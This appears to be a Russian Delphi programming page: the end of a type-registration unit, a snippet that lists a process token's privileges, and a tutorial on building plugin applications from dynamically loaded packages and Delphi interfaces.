  AddType (TypeInfo (TLoadResources ));
  AddType (TypeInfo (TLocateOption ));
  AddType (TypeInfo (TLocateOptions ));
  AddType (TypeInfo (TLockType ));
  AddType (TypeInfo (TMaskCharType ));
  AddType (TypeInfo (TMaskDirectives ));
  AddType (TypeInfo (TMaskedState ));
  AddType (TypeInfo (TMenuBreak ));
  AddType (TypeInfo (TModalResult));
  AddType (TypeInfo (TMouseButton ));
  AddType (TypeInfo (TMsgDlgBtn ));
  AddType (TypeInfo (TMsgDlgButtons ));
  AddType (TypeInfo (TMsgDlgType ));
  AddType (TypeInfo (TNavButtonStyle ));
  AddType (TypeInfo (TNavGlyph ));
  AddType (TypeInfo (TNavigateBtn ));
  AddType (TypeInfo (TNodeAttachMode ));
  AddType (TypeInfo (TNodeState ));
  AddType (TypeInfo (TNumberingStyle ));
  AddType (TypeInfo (TOpenOptions ));
  AddType (TypeInfo (TOperation ));
  AddType (TypeInfo (TOperation));
  AddType (TypeInfo (TOutlineBitmap ));
  AddType (TypeInfo (TOutlineBitmaps ));
  AddType (TypeInfo (TOutlineNodeCompare ));
  AddType (TypeInfo (TOutlineOption ));
  AddType (TypeInfo (TOutlineOptions ));
  AddType (TypeInfo (TOutlineStyle ));
  AddType (TypeInfo (TOutlineType ));
  AddType (TypeInfo (TOwnerDrawState ));
  AddType (TypeInfo (TPanelBevel ));
  AddType (TypeInfo (TParamBindMode ));
  AddType (TypeInfo (TParamFlags ));
  AddType (TypeInfo (TParamType ));
  AddType (TypeInfo (TPenMode ));
  AddType (TypeInfo (TPenStyle ));
  AddType (TypeInfo (TPixelFormat ));
  AddType (TypeInfo (TPopupAlignment ));
  AddType (TypeInfo (TPosition ));
  AddType (TypeInfo (TPrintDialogOption ));
  AddType (TypeInfo (TPrintDialogOptions ));
  AddType (TypeInfo (TPrintRange ));
  AddType (TypeInfo (TPrintScale ));
  AddType (TypeInfo (TProgressStage ));
  AddType (TypeInfo (TRecNoStatus ));
  AddType (TypeInfo (TResType ));
  AddType (TypeInfo (TResType));
  AddType (TypeInfo (TResyncMode ));
  AddType (TypeInfo (TScalingFlags ));
  AddType (TypeInfo (TScrollBarInc));
  AddType (TypeInfo (TScrollBarKind));
  AddType (TypeInfo (TScrollCode));
  AddType (TypeInfo (TScrollStyle ));
  AddType (TypeInfo (TScrollStyle));
  AddType (TypeInfo (TSearchDirection ));
  AddType (TypeInfo (TSearchType ));
  AddType (TypeInfo (TSearchTypes ));
  AddType (TypeInfo (TSectionTrackState ));
  AddType (TypeInfo (TSelectDirOpt ));
  AddType (TypeInfo (TSelectDirOpts ));
  AddType (TypeInfo (TShapeType ));
  AddType (TypeInfo (TShiftState));
  AddType (TypeInfo (TShowAction ));
  AddType (TypeInfo (TSortType ));
  AddType (TypeInfo (TStaticBorderStyle ));
  AddType (TypeInfo (TStatusPanelBevel ));
  AddType (TypeInfo (TStatusPanelStyle ));
  AddType (TypeInfo (TTableType ));
  AddType (TypeInfo (TTabOrder));
  AddType (TypeInfo (TTabPosition ));
  AddType (TypeInfo (TTabStyle ));
  AddType (TypeInfo (TTextCase ));
  AddType (TypeInfo (TTextLayout));
  AddType (TypeInfo (TThreadPriority));
  AddType (TypeInfo (TTickMark));
  AddType (TypeInfo (TTickStyle));
  AddType (TypeInfo (TTileMode));
  AddType (TypeInfo (TTimerMode));
  AddType (TypeInfo (TToolButtonState));
  AddType (TypeInfo (TToolButtonStyle));
  AddType (TypeInfo (TTraceFlag));
  AddType (TypeInfo (TTraceFlags));
  AddType (TypeInfo (TTrackBarOrientation));
  AddType (TypeInfo (TTransIsolation));
  AddType (TypeInfo (TTypeKinds));
  AddType (TypeInfo (TUpdateAction));
  AddType (TypeInfo (TUpdateKind));
  AddType (TypeInfo (TUpdateMode));
  AddType (TypeInfo (TUpdateRecordTypes));
  AddType (TypeInfo (TUpdateStatus));
  AddType (TypeInfo (TValueType));
  AddType (TypeInfo (TViewStyle));
  AddType (TypeInfo (TWindowState));
  AddType (TypeInfo (WChar));
  AddType (TypeInfo (Word));
end;
end.

Загрузить весь проект

Перечислить привилегии пользователя.

Оформил: DeeCo Автор: http://www.swissdelphicenter.ch

procedure TForm1.Button1Click(Sender: TObject);
 const
   TokenSize = 800; //  (SizeOf(Pointer)=4 *200) 
var
   hToken: THandle;
   pTokenInfo: PTOKENPRIVILEGES;
   ReturnLen: Cardinal;
   i: Integer;
   PrivName: PChar;
   DisplayName: PChar;
   NameSize: Cardinal;
   DisplSize: Cardinal;
   LangId: Cardinal;
 begin
   GetMem(pTokenInfo, TokenSize);
   if not OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES or TOKEN_QUERY,
     hToken) then ShowMessage('OpenProcessToken error');
   if not GetTokenInformation(hToken, TokenPrivileges, pTokenInfo, TokenSize, ReturnLen) then
     ShowMessage('GetTokenInformation error');
   GetMem(PrivName, 255);
   GetMem(DisplayName, 255);
   for i := 0 to pTokenInfo.PrivilegeCount - 1 do
   begin
     DisplSize := 255;
     NameSize  := 255;
     LookupPrivilegeName(nil, pTokenInfo.Privileges[i].Luid, PrivName, Namesize);
     LookupPrivilegeDisplayName(nil, PrivName, DisplayName, DisplSize, LangId);
     ListBox1.Items.Add(PrivName +^I + DisplayName);
   end;
   FreeMem(PrivName);
   FreeMem(DisplayName);
   FreeMem(pTokenInfo);
 end;

Немного о плагинах.

- Мда... не всегда получается как хотелось бы: купил, вставил и заработало. - Да, даже plug&play в жизни не всегда работает.
Введение Проблема декомпозиции приложения рано или поздно возникает в любом серьезном проекте. Цели декомпозиции могут быть различны, но можно выделить наиболее часто встречающиеся: Облегчение сопровождения. Приложение разбивается на функциональные модули так, чтобы можно было без опаски заменить "ошибочный" модуль на (якобы) "исправленный" J. Обеспечение "наращиваемости". То есть, путем добавления нового модуля и (может быть) прописывания некоторой информации в реестре Windows (или ini-файле - кому как нравится) основное приложение без перекомпиляции получало бы новые функциональные (или интер фейсные) возможности. Обеспечение "взаимозаменяемости" модулей. То есть, спроектировать систему так, чтобы можно было заменить один модуль на другой (поддерживающий, естественно, тот же или расширенный функционал) без потери работоспособности системы в целом. Наиболее "древним" решением данной задачи является инкапсуляция функционала в dll. К недостаткам данного подхода можно отнести: Приходится утомительно долго описывать "экспортные" функции в dll и "рисовать" модули импорта; "Взаимозаменяемость" обеспечить в принципе можно, но "наращиваемость" и сопровождение оставляют желать лучшего; Наличие "некоторых тонкостей" (типа упаковки дочерних окон в dll - эта тема достаточно широко обсуждалась у Круглого Стола (1) ) вообще затрудняют использование данного метода, тем более для новичка; Вторым способом (вполне неплохим) является технология COM (от Microsoft (2) ). Это примерно то же самое, что и обычные dll, но добавляются еще и Более легкое сопровождение. Исключительно легкая взаимозаменяемость. Наращиваемость - только и мечтать. Но без ложки дегтя все равно не обходится. Применительно к Delphi это: Дикое разрастание объема выполняемого кода (если, конечно, не использовать компиляцию с пакетами) - но это чревато ослабленной устойчивостью L применительно к dll. С чем это связано, мне определить не удалось - ошибки возникают при выгрузке приложения, но в каком именно месте - осталось невыясненным. Обычно такие "навороты" мало кому нужны. Разве что при обеспечении межпроцессного (3) или межкомпьютерного (6) взаимодействия. Кстати, для последнего лучше подходит CORBA… Как ни старалась Borland облегчить работу с COM, на мой взгляд то, что получилось абсолютно не удовлетворительно. Мало того, что существуют "некоторые" существенные ограничения на типы входных и выходных параметров, но и методика работы с COM в Delphi ост авляет желать лучшего… Третий способ - использование пакетов. Это как-то обсуждалось в Королевстве (Трофимов Игорь, Подгружаемые модули (plugins) в Delphi). Достоинства данного подхода в том, что суммарный объем выполняемого кода получается меньше, чем в обоих предыдущих способ ах (особенно, если выключить из рассмотрения "библиотечные" пакеты типа vcl50). По крайней мере, неплохо. Однако есть и недостатки и у данного подхода. Это: Практически невозможность дальнейшего сопровождения. При любом изменении виртуальной таблицы методов (VMT) (5) базового класса - пакеты, их использующие, становятся неработоспособными. И даже более того - опасными! Условная взаимозаменяемость. Так или иначе, придется скрупулезно проверять вызов каждой функции и каждого метода (6). "Усложненность" разработки. Как показывает практика, при уровне "наследуемости" пакетов больше трех (7) процесс компиляции понравится только мазохистам (а если учесть 1 пункт, то проще на все плюнуть J) Если учесть, что пакеты Delphi - то же самое, что и обычные dll (8), а COM (в большинстве случаев) так же инкапсулируется в dll, то напрашивается желание совместить достоинства и тех, и других. Что я сейчас и попытаюсь сделать. Сразу хочу оговориться, что данная статья рассчитана как на новичков, так и на "продолжающих". Это значит, что иногда я буду углубляться в "излишнее разжевывание", но при этом рассчитывать на некоторый "базис" первоначальных знаний. Но даже без последних не трудно будет использоват ь предлагаемую методику. Даже более того - надеюсь, она поможет в освоении COM… Я здесь не ставлю своей задачей открыть что-либо новое в программировании вообще и на Delphi в частности. Я только хочу показать во-первых, как можно эффективно использовать встроенные в компилятор средства поддержки COM (при этом не таская за собой ее громоздкую библиотеку поддержки); и во-вторых, предложить небольшую модернизацию метода Игоря Трофимова; Предлагаемая здесь методика опробирована на рабочем проекте с достаточно приемлимым результатом. Часть 1. Давайте сделаем базовый проект, обеспечивающий динамическую подгрузку пакета. На самом деле это достаточно тривиально, но нам необходимо начать с чего-нибудь привычного (а кому это не привычно - он прочувствует, что это не так сложно, как это кажется на первый взгляд) просто иметь некоторую стартовую точку показать, что и разработанные на текущий момент проекты могут быть легко модернизированы с учетом данной методики (возможно, их придется переписывать заново (или начисто, в зависимости от того, как к этому относиться!), - но это даже иногда полезно ). Для начала спроектируем первое приближение главного приложения. Я хочу показать использование как диалоговых, так и дочерних окон, поэтому главное окно приложения сделаем MDIFrom с созданием всех сопутствующих MDI атрибутов (типа меню Window). Помимо проч его, делаем меню Help (дань привычки J делать приложения со справкой). В качестве основы для обработки команд меню будем использовать TActionList (9). Завершив эти "магические пассы", добавляем следующее: в секцию private вносим переменную FPackageHandle типа THandle. Она будет хранить дескриптор пакета. Туда же добавляем процедуру LoadPluginPackage, которая будет непосредственно выполнять загрузку паке та plugin.bpl.

Вот текст этой процедуры.

procedure TForm1.LoadPluginPackage;
var
  FileName: TFileName;
Begin
  // предполагаем, что пакет хранится в том же каталоге,
  // что и исполняемое приложение
  FileName := ExtractFilePath(Application.ExeName);
  FileName := FileName + 'plugin.bpl';
  // Загружаем пакет
  FPackageHandle := LoadPackage(FileName);
  // пакет не загружен, выбрасываем исключение
  if FPackageHandle = 0 then RaiseLastWin32Error()
  else MessageBox(Handle,  'Пакет plugin загружен',
  'Информация', MB_APPLMODAL+MB_ICONINFORMATION+MB_OK);
end;
Теперь сделаем собственно пакет (10) . В него поместим две формы, одну из которых сделаем дочерней (MDIChild), а на другую положим две кнопки (Ok и Cancel). Далее организуем в главной форме загрузку пакета и вызов из него форм. Для этого на OnShow делаем вызов LoadPluginPackage и добавляем actions в ActionList:

Для дочерней формы.

procedure TForm1.aOpenExecute(Sender: TObject);
var
  frmClass: TFormClass;
  frm: TForm;
begin
   frmClass := TFormClass(GetClass('TfrmChild')); // получаем класс дочернего окна
   if not Assigned(frmClass) then 
   begin
     MessageBox(Handle, PChar(Format('Не найден класс %s', ['TfrmDialogFrom'])),
                        'Ошибка',
                        MB_APPLMODAL+MB_ICONERROR+MB_OK);
     Exit;
   end;
   frm := frmClass.Create(Self); // создаем дочернее окно
end;

Для диалога.

procedure TForm1.aOpenDialogExecute(Sender: TObject);
var
  frmClass: TFormClass;
begin
   frmClass := TFormClass(GetClass('TfrmDialogFrom')); // получаем класс диалогового окна
   if not Assigned(frmClass) then
   begin
     MessageBox(Handle, PChar(Format('Не найден класс %s', ['TfrmDialogFrom'])),
                        'Ошибка',
                        MB_APPLMODAL+MB_ICONERROR+MB_OK);
     Exit;
   end;
  // создаем и показываем окно диалога
   with frmClass.Create(Self) do
   try
     case ShowModal of
           mrOk: MessageDlg('Выбрано Ok!', mtInformation, [mbOk], 0);
       mrCancel: MessageDlg('Выбрано Cancel!', mtInformation, [mbOk], 0);
           else  MessageDlg('Выбрано хрен знает что!', mtInformation, [mbOk], 0);
     end;
   finally
     Free();
   end;
end;

Плюс ко всему добавляем обработчик OnUpdate на все асtiоn'ы для обеспеченя корректного вызова.

procedure TForm1.aOpenUpdate(Sender: TObject);
begin
  aOpen.Enabled := FPackageHandle > 0;
  aOpenDialog.Enabled := FPackageHandle > 0;
end;
Полный исходный код находится в архиве (каталог Step1) Часть 2. Доступ к объектам пакета. Попытаемся наладить связь между главной формой и пакетом. То есть, мы ставим себе задачу вызова некоторой (или некоторых) функции/процедур формы из пакета при условии того, что мы не знаем действительный тип этой формы и всего набора поддерживаемых ею фун кций и процедур. Для осуществления этого воспользуемся технологией COM. Точнее той ее части, которая поддерживается Delphi на уровне языка.

Для того, чтобы новичкам было все ясно, следует немного углубиться в понятие интерфейса. Я полагаю, что вы знакомы с понятием виртуальной таблицы методов (VMT). Именно она является источником и тремя составными частями ООП (11). Для поддержки COM в Delphi был введен новый, особый тип interface, который позволяет "поименовать" куски виртуальной таблицы методов. Способ этого именования достаточно уникален - 16-байтовое число (12), которое присваивается каждому такому куску. Есть мнение, что оно статистическ и уникально (13). Синтаксис данного типа следующий.

type 
IMyInitialize = interface
['{7D501741-B419-11D5-915B-ED714AED3037}']     // то самое 16-битное число в строковом
  // представлении. Получается 
  // в Delphi нажатием клавиш Ctrl+g.
    procedure InitializeForm(const ACaption: String);  //  а это процедура интерфейса.
end;
Помимо прочего компоненты Delphi содержат метод, позволяющий получать этот кусок виртуальной таблицы. Причем этих методов два. Первый имеет название QueryInterface. Для любителей COM он является привычным, так как используется в оном вдоль и поперек. Второй называется GetInterface. Разница этими методами в том, что у QueryInterface нужно проверять результат на S_OK, а у GetInterface на Boolean (14) .

Теперь давайте прикрутим к нашей системе интерфейсы и покажем, как с ними работать. Для этого создаем новый модуль (он достаточно короткий, и я здесь привожу его полностью).

unit CommonInterfaces;
interface
type
  IMyInitialize = interface
  ['{7D501741-B419-11D5-915B-ED714AED3037}']
    procedure InitializeForm(const ACaption: String);
  end;
  IMyHello = interface
  ['{7D501742-B419-11D5-915B-ED714AED3037}']
    function ShowHello(AText: String): String;
  end;
implementation
end.
Далее, внесем изменения в наш пакет, учитывающий поддержку интерфейсов 
1. для дочерней формы: 
type
  TfrmChild = class(TForm, IMyInitialize, IMyHello) // так наследуются интерфейсы
  Private
    {  описание методов  IMyInitialize }
    procedure InitializeForm(const ACaption: String);
    { описание методов IMyHello }
    function ShowHello(AText: String): String;
end;
Что мы тут сделали? Мы сказали, что TfrmChild является наследником TForm, но помимо методов TForm VMT класа TfrmChild содержит еще два цельных куска, один из которых идентичен VMT IMyInitialize, а второй VMT IMyHello.

2. для диалоговой формы:

type
  TfrmDialogFrom = class(TForm, IMyInitialize)
    BitBtn1: TBitBtn;
    BitBtn2: TBitBtn;
    Label1: TLabel;
  private
  { описание методов IMyInitialize }
    procedure InitializeForm(const ACaption: String);
end;
Реализация этих методов проста, ее можно смотреть в архиве (Step2).

Соответственно (для вызова этих методов), немного корректируем главную форму…

procedure TForm1.aOpenExecute(Sender: TObject);
var
  frmClass: TFormClass;
  frm: TForm;
  MyInitialize: IMyInitialize;
begin
   frmClass := TFormClass(GetClass('TfrmChild'));
   if not Assigned(frmClass) then
   begin
     MessageBox(Handle, PChar(Format(' Не найден класс %s', ['TfrmDialogFrom'])),
                        'Ошибка',
                        MB_APPLMODAL+MB_ICONERROR+MB_OK);
     exit;
   end;
   frm := frmClass.Create(Self);
   // производим вызов метода интерфейса
   if frm.GetInterface(IMyInitialize, MyInitialize) then
   begin  // интерфейс поддерживается формой, можно вызывать его методы 
     MyInitialize.InitializeForm(Format('Дочернее окно  ? %d', [Tag]));
     Tag := Tag + 1;
   end
  else raise Exception.CreateFmt('Интерфейс %s не поддерживается классом %s', 
                                                   ['ImyInitialize', frm.GetClassName]);
end;
procedure TForm1.aOpenDialogExecute(Sender: TObject);
var
  frmClass: TFormClass;
  MyInitialize: IMyInitialize;
begin
   frmClass := TFormClass(GetClass('TfrmDialogFrom'));
   if not Assigned(frmClass) then
   begin
     MessageBox(Handle, PChar(Format('Не найден класс %s', ['TfrmDialogFrom'])),
                        'Внимание!',
                        MB_APPLMODAL+MB_ICONERROR+MB_OK);
     Exit;
   end;
   with frmClass.Create(Self) do
   try
      if GetInterface(IMyInitialize, MyInitialize) then
        begin  // Интерфейс поддерживается фомой, вызываем его метод
          MyInitialize.InitializeForm(' Диалог');  
        end
      else raise Exception.CreateFmt('Интерфейс %s не поддерживается классом %s', 
                                                   ['ImyInitialize', frm.GetClassName]);
     case ShowModal of
           mrOk: MessageDlg('Ok!', mtInformation, [mbOk], 0);
       mrCancel: MessageDlg('Cancel!', mtInformation, [mbOk], 0);
           else  MessageDlg('Неизвестная распальцовка!', mtInformation, [mbOk], 0);
     end;
   finally
     Free();
   end;
end;
Теперь что мы имеем. Во-первых, мы не знаем действительный тип как дочернего, так и диалогового окон. Но между тем вызываем функции, входящие в его VMT. Во-вторых, мы запросто можем поменять наш пакет на другой. Имена классов форм пакета особого значения не имеют - их можно сохранять в файле настроек или реестре и подгружать при инициализации основного приложения. Единственное, что необходимо неукоснитель но соблюдать - дочернее и диалоговое окно ДОЛЖНЫ поддерживать необходимые интерфейсы. В третьих, мы можем КАК УГОДНО изменять формы пакета (включая изменения самой виртуальной таблицы методов, естественно, не затрагивая описания интерфейсов) - общая система приложение-пакет останутся в рабочем состоянии. Часть 3. Взаимодействие пакета с приложением

При разработке проекта довольно часто встречается ситуация, когда одна из форм (модулей данных, компонент или, наконец, просто объектов) обращается к методам второй формы, а та, в свою очередь, нуждается в вызове методов (или в доступе к свойствам) первой . Иногда эта ситуация вообще трудно разрешима (если оказываются необходимыми перекрестные ссылки в интерфейсных частях модулей — это недопустимо правилами языка)(15) . Очень часто взаимодействие модулей проекта, форм и т.д. оказывается до такой степени пе репутанным, что разобраться в этих хитросплетениях бывает тяжело (особенно если этот проект передается для дальнейшего сопровождения и доработки другому программисту). Часть таких проблем вполне может снять использование интерфейсов. Действительно, в пред ыдущей части для использования методов форм из пакета нам не потребовалось подключать модули, содержащие их реализацию. Что помешает использовать ту же технологию и в обратном направлении?

// Попробуем это реализовать.
// В модуль CommonInterfaces добавляем новый интерфейс
ICallBackInterface = interface
  ['{7D501743-B419-11D5-915B-ED714AED3037}']
    procedure Callback(Text: String);
  end;
// Добавляем этот интерфейс к главной форме приложения
type
  TForm1 = class(TForm, ICallBackInterface)
    MainMenu: TMainMenu;
  …
protected
   { ICallBackInterface }
    procedure Callback(Text: String);
…
end;
var
  Form1: TForm1;
implementation
…
procedure TForm1.Callback(Text: String);
begin
  ShowMessage('Из главной формы с приветом "' + Text + '"');
end;
…
// А теперь возвращаемся в пакет и пробуем вызвать
// метод Callback главной формы из пакета. В дочерней
// форме TfrmChild создаем TAction aQueryInMainForm,
// цепляем его в меню и создаем реализацию OnExecute
procedure TfrmChild.aQueryInMainFormExecute(Sender: TObject);
var
  CallBackInterface: ICallBackInterface;
begin
  if Application.MainForm.GetInterface(ICallBackInterface, CallBackInterface) then
    CallBackInterface.Callback('Привет от дочерней формы ' + Caption);
end;
// Теперь запускаем и проверяем, что все у нас работает как надо.
// Можно несколько усложнить наш пример и наглядно
// продемонстрировать новые преимущества данной методики.
// Давайте добавим на форму объект TListBox и изменим
// реализацию метода ShowHello из интерфейса IMyHello
// следующим образом
function TfrmChild.ShowHello(AText: String): String;
begin
  InputQuery('Вот что спросили', AText, Result);
  ListBox1.Items.Add('Вот что спросили:');
  ListBox1.Items.Add(AText);
  ListBox1.Items.Add('Вот что ответили:');
  ListBox1.Items.Add(Result);
  ListBox1.Items.Add('');
end;
// Идем к форме TfrmDialogFrom, добавляем туда
// большую кнопку, на OnClick которой пишем следующее:
procedure TfrmDialogFrom.Button1Click(Sender: TObject);
 var
  MyHello: IMyHello;
  Result: String;
begin
  if Assigned(Application.MainForm.ActiveMDIChild) and
     Application.MainForm.ActiveMDIChild.GetInterface(IMyHello, MyHello) then
  begin
    Result := MyHello.ShowHello('Где начало того конца, которым начинается начало?');
    ShowMessage(Result);
  end;
end;
Если задуматься над этой процедурой, то станет ясно, что нам не важен тип активной дочерней формы и местоположение реализации этого типа (в главном приложении находится ее модуль, в том же пакете, что и TfrmDialogFrom, или где-нибудь еще). Мы просто обнар ужили, что есть какая-то активная форма, спросили ее на предмет поддержки конкретного интерфейса и вызвали его метод. Часть 4. Некоторые нюансы В связи с тем, что мы "разбиваем" виртуальную таблицу методов наших форм на "куски"-интерфейсы, возможны ситуации, когда несколько интерфейсов будут содержать методы с одинаковым названием. Способ обработки таких случаев известен программистам, работавшим с COM. Для тех, кому он неизвестен, я сейчас его продемонстрирую.

Добавим еще один интерфейс в модуль CommonInterfaces и назавем его ICallbackInterface2. В интерфейсе опишем процедуру с названием, пересекающимся с ICallbackInterface:

ICallbackInterface2 = interface
 ['{7D501744-B419-11D5-915B-ED714AED3037}']
    procedure Callback(Text: String);
  end;
// Теперь введем этот интерфейс в главную форму:
type
  TForm1 = class(TForm, ICallBackInterface, ICallbackInterface2)
    MainMenu: TMainMenu;
    File1: TMenuItem;
…
// Чтобы компилятор правильно различал вызовы методов
// Callback от разных интерфейсов, секцию protected перепишем
// следующим образом:
…
protected
  // перенаправляем вызов через ICallBackInterface к процедуре Callback1
    procedure ICallBackInterface.Callback = Callback1; 
// перенаправляем вызов через ICallBackInterface2 к процедуре Callback2
    procedure ICallBackInterface2.Callback = Callback2;
    
    procedure Callback1(Text: String);
    procedure Callback2(Text: String);
…
end;
…
procedure TForm1.Callback1(Text: String);
begin
  ShowMessage('Из главной формы 1 "' + Text + '"');
end;
procedure TForm1.Callback2(Text: String);
begin
  ShowMessage(' Из главной формы 2 "' + Text + '"');
end;
// И, наконец, в форме TfrmChild нашего пакета строим вызовы этих методов
type
  TfrmChild = class(TForm, IMyInitialize, IMyHello)
…
    aQueryInMainForm: TAction;
    aQueryInMainForm2: TAction;
…
    procedure aQueryInMainFormExecute(Sender: TObject);
    procedure aQueryInMainForm2Execute(Sender: TObject);
  private
…
procedure TfrmChild.aQueryInMainFormExecute(Sender: TObject);
var
  CallBackInterface: ICallBackInterface;
begin
  if Application.MainForm.GetInterface(ICallBackInterface, CallBackInterface) then
    CallBackInterface.Callback('Привет от ' + Caption);
end;
procedure TfrmChild.aQueryInMainForm2Execute(Sender: TObject);
var
  CallBackInterface: ICallBackInterface2;
begin
  if Application.MainForm.GetInterface(ICallBackInterface2, CallBackInterface) then
    CallBackInterface.Callback('Привет от ' + Caption);
end;
…
// Запускаем и убеждаемся в том, что вызываются действительно нужные методы.
// Полный исходный код этой части находится в архиве (каталог Step4).
// Еще один нюанс, известный программистам COM. Ничто не запрещает вводить
// в интерфейсы обычные свойства Deplhi (для более простого моделирования).
// Ограничением, естественно, является только то, что интерфейс не может
// содержать полей-данных. В интерфейсы должны быть описаны только методы.
// Вот пример интерфейса содержащего свойства
IMainForm = interface
  ['{765B2E71-B81C-11D5-9160-C43E6EC62937}']
  function GetCaption: TCaption;
  procedure SetCaption(const Value: TCaption);
  function GetFont: TFont;
  procedure SetFont(conts Value: TFont);
  function GetSelf: TForm;
  property Caption: TCaption read GetCaption write SetCaption;
  property Font: TFont read GetFont write SetFont;
  property Self: TForm read GetSelf;
end
// Естественно, при наследовании некоторым классом (скажем, какой-нибудь
// формой) этого интерфейса необходимо в него ввести реализацию методов
// GetCaption, SetCaption, GetFont, SetFont, GetSelf .
// Ну и напоследок, интерфейсы можно наследовать так же, как и обычные
// классы. При чем это наследование может быть множественным (как в С++).
// Пример:
// У нас был интерфейс ICallBackInterface:
ICallBackInterface = interface
  ['{7D501743-B419-11D5-915B-ED714AED3037}']
    procedure Callback(Text: String);
  end;
// Добавляем еще один интерфейс, расширяющий поведение ICallBackInterface
ICallBackInterfaceEx = interface(ICallBackInterface)
  ['{7D501743-B419-11D5-915B-ED714AED3038}']
    procedure CallbackEx(Text: String);
end;
//, а в главной форме поменяем наследование
TForm1 = class(TForm, ICallBackInterface, ICallbackInterfaceEx)
Теперь после компиляции что мы получим? Вызов Application.MainForm.GetInterface(ICallBackInterface, CallBackInterface) всегда будет возвращать ссылку на кусок виртуальной таблицы методов, содержащей процедуру Callback и только ее (то есть, действительно ссылку ICallBackInterface, хотя мы его яв но не наследовали). А вот вызов Application.MainForm.GetInterface(ICallBackInterfaceEx, CallBackInterface) будет возвращать ссылку на кусок виртуальной таблицы методов, содержащей как процедуру Callback, так и CallbackEx. Отсюда можно сделать следующие выводы: Старые приложения (или пакеты - все зависит от места использования интерфейса), не знающего ICallBackInterfaceEx, будут вызывать ICallBackInterface и останутся в работоспособном состоянии. Новые приложения (или пакеты), уже имеющие сведения о ICallBackInterfaceEx, вполне могут вызывать как ICallBackInterfaceEx, так и ICallBackInterface (в зависимости от прихоти программиста). То есть, значительно облегчается сопровождения декомпозированного приложения (что так знакомо программистам COM). Часть 5. Агрегация (16)

До сих пор для получения интерфейса объекта я использовал функцию GetInterface. Она прекрасно работает и удобна в использовании, но имеет существенные ограничения. Прежде всего, эта функция не виртуальная. То есть, вы не сможете переопределить ее поведени е в классах-наследниках. А делает эта функция только одно - сканирует локальную VMT объекта на предмет получения требуемого куска VMT. Однако, начиная от TComponent, компоненты Delphi содержат функцию, делающую почти то же самое, но являющуюся виртуальной . Под "почти" я имею ввиду то, что эта функция вызывает GetInterface, но осуществляет еще дополнительные проверки и имеет немного другой формат вызова. Эта функция в последствии (17) принимает участие в COM программировании и имеет наименование QueryInter face (18) .

// Функция определяется так:
function QueryInterface(const IID: TGUID; out Obj): HResult; virtual; stdcall;
// Функция возвращает HResult (целое число, содержащее код ошибки)
// для определения успешности или не успешности ее выполнения. Для
// преобразования этого значения в boolean (если нет необходимости
// анализировать непосредственно код ошибки и вас интересует лишь
// фактическое "да" или "нет") имеется дополнительная функция Succeeded.
// Любой вызов GetInterface из приведенных выше примеров можно заменить
// на примерно следующий:
if Succeeded(QueryInterface(IMyHello, MyHello)) then …
// Однако есть одна маленькая неприятность - функция QueryInterface
// описана в секции protected класса TComponent. Это означает, что вы
// не можете ее вызвать нигде, кроме как внутри методов данного класса
// TComponent. То есть, строка Application.MainForm.QueryInterface(…)
// не будет компилироваться. Из этого есть два выхода. Первый
// заключается в получении ЛЮБОГО (19) интерфейса объекта через вызов
// GetInterface (20) и через него вызывать функцию QueryInterface.
// Для этих целей можно написать обобщенную процедуру, скажем так
 function QueryInterface(const  AObject: TObject, const IID: TGUID; out Obj): HResult; 
 begin
    if AObject.GetInterface(IID, Obj) then Result := S_OK
     else Result := E_NOINTERFACE;
 end;
// Второй заключается в написании наследников всех (или почти всех)
// используемых базовых компонент, в которых эта функция перемещается
// в секцию public. Примерно вот так:
type
  TInterfacedForm = class(TForm, IUnknown)
public
   function QueryInterface(const IID: TGUID; out Obj): HResult; override;
end;
…
implementation
  function TInterfacedForm .QueryInterface(const IID: TGUID; out Obj): HResult; 
begin
  Result := inherited QueryInterface(IID, Obj);
end;
end.
// Если при этом все необходимые компоненты проекта (в частности,
// главную форму приложения) наследовать от них, тогда в любой точке
// проекта можно будет построить следующий вызов.
var
  MainForm: TInterfacedForm;
begin
  if  Application.MainForm is TInterfacedForm then
  begin
    MainForm := Application.MainForm is TInterfacedForm;
    if Succeeded(MainForm.QueryInterface(IMyHello, MyHello)) then …
    …
  end;
end;
Остается заметить, что этот модуль желательно оформить в виде отдельного пакета, установить его в системе и компилировать с ним как основное приложение, так и пакеты-плугины. Теперь, после всего выше сказанного, нетрудно осуществить непосредственную агрегацию. Первое место, где она с успехом может быть применена - это приложения с использованием БД. Обычно в этом случае основное приложение имеет (помимо главной формы) один или несколько модулей данных (наследников TDataModule), содержащих коннект к БД и бизнес логику приложения. Чтобы явно подчеркнуть непосредственно агрегацию, сделаем главную форму не наследующей никакого интерфейса. Между тем, оказывается возможным (с помощь ю простой, но довольно обобщенной махинации) запрашивать требуемые дочерней форме интерфейсы и выполнять над ними работу. Исходный текст проекта см. в архиве (каталог Step5). Код проекта мал, упрощен насколько это возможно (21) и вряд ли нуждается в особы х комментариях. Резюме Описанная здесь методика не является панацеей от плохого программирования и других сложностей, которые сам себе создает программист. Но в ряде случаев она может позволить построит более "прозрачную" систему и облегчить ее сопровождение. При "правильном" п роектировании в последствии будет легче или перевести всю систему на COM (22) , или довесить основное приложение OLE автоматизацией (23). Во всяком случае, данный способ позволит относительно безопасно потренироваться на "рабочем проекте", поизучать интер фейсы и работу с ними и т.д. Способы ее использования ограничены лишь вашей фантазией программиста. У данной методики, несомненно, есть и недостатки. Точнее особенности, на которые следует обратить внимание. Наследование интерфейсов есть наследование интерфейсов, но не реализации. Реализацию каждый раз придется писать заново. Это в худшем случае. Но ничто не мешает создать "базовый" набор классов, содержащий реализации основных интерфейсов, оформить их в паке т и использовать в дальнейшем (дописывая лишь индивидуальные особенности) (24) . Освобождать интерфейсы напрямую нельзя. Delphi это делает автоматически, вызывая неявно функцию _Release. Точно так же, при инициализации интерфейса неявно вызывается функция _AddRef. Эти функции оперируют так называемым "счетчиком ссылок" - целой перемен ной. хранящейся в объекте. _AddRef его увеличивает, а _Release уменьшает. Когда счетчик ссылок станет равным нулю, функция _Release может вызвать метод Free объекта, содержащего интерфейс. А последнее обстоятельство чревато внезапным исключением, приводящ им к катастрофе всего приложения. Следует проследить за этим обстоятельством. Одним из способов его обхода является явный вызов _AddRef в конструкторе объекта - это гарантировано увеличит счетчик на 1 и позволит объекту оставаться в памяти до явного вызов а деструктора. Однако такое встречается довольно редко. Во всяком случае, обычные наследники TComponent не имеют счетчика ссылок, а _AddRef и _Release ничего не делают и всегда возвращают -1 (25) . А вот с наследниками TInterfacedObject следует быть остор ожным…

